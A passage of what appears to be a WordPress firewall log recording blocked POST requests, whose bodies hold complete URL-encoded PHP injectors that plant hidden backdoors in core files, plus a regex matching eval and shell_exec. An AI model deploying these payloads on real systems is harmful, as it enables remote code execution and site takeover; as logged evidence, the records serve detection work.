%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:4180\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoxtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nnH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/layout.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%253B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524m%253D0%253B%2520%2524m%253Cstrlen%2528%2524key%2529%253B%2520%2524m%252B%252B%2529%257B%2524comp%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524m%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524binding%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524property_set%2520%253D%25200%252C%2520%2524factor%2520%253D%2520count%2528%2524binding%2529%253B%2520%2524property_set%2520%253C%2520%2524factor%253B%2520%2524property_set%252B%252B%2529%2520%257B%2520%2524entry%2520%253D%2520%2524binding%255B%2524property_set%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524entry%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524entry%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524mrk%252C%2520%2524comp%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:52:15","185.176.9.68","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/layout.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%253B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524m%253D0%253B%2520%2524m%253Cstrlen%2528%2524key%2529%253B%2520%2524m%252B%252B%2529%257B%2524comp%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524m%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524binding%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524property_set%2520%253D%25200%252C%2520%2524factor%2520%253D%2520count%2528%2524binding%2529%253B%2520%2524property_set%2520%253C%2520%2524factor%253B%2520%2524property_set%252B%252B%2529%2520%257B%2520%2524entry%2520%253D%2520%2524binding%255B%2524property_set%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524entry%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524entry%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524mrk%252C%2520%2524comp%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:4180\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLHZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\naC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/layout.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%253B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524m%253D0%253B%2520%2524m%253Cstrlen%2528%2524key%2529%253B%2520%2524m%252B%252B%2529%257B%2524comp%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524m%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524binding%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524property_set%2520%253D%25200%252C%2520%2524factor%2520%253D%2520count%2528%2524binding%2529%253B%2520%2524property_set%2520%253C%2520%2524factor%253B%2520%2524property_set%252B%252B%2529%2520%257B%2520%2524entry%2520%253D%2520%2524binding%255B%2524property_set%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524entry%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524entry%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524mrk%252C%2520%2524comp%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:52:43","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/layout.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%253B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524m%253D0%253B%2520%2524m%253Cstrlen%2528%2524key%2529%253B%2520%2524m%252B%252B%2529%257B%2524comp%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524m%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524binding%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524property_set%2520%253D%25200%252C%2520%2524factor%2520%253D%2520count%2528%2524binding%2529%253B%2520%2524property_set%2520%253C%2520%2524factor%253B%2520%2524property_set%252B%252B%2529%2520%257B%2520%2524entry%2520%253D%2520%2524binding%255B%2524property_set%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524entry%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524entry%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524mrk%252C%2520%2524comp%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:4203\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-ch-ua-platform:\"macOS\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/layout.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%253B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524m%253D0%253B%2520%2524m%253Cstrlen%2528%2524key%2529%253B%2520%2524m%252B%252B%2529%257B%2524comp%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524m%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524binding%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524property_set%2520%253D%25200%252C%2520%2524factor%2520%253D%2520count%2528%2524binding%2529%253B%2520%2524property_set%2520%253C%2520%2524factor%253B%2520%2524property_set%252B%252B%2529%2520%257B%2520%2524entry%2520%253D%2520%2524binding%255B%2524property_set%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524entry%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524entry%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524mrk%252C%2520%2524comp%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 16:53:12","50.6.7.129","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> og:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B10%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B3%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:3249\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo2pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google 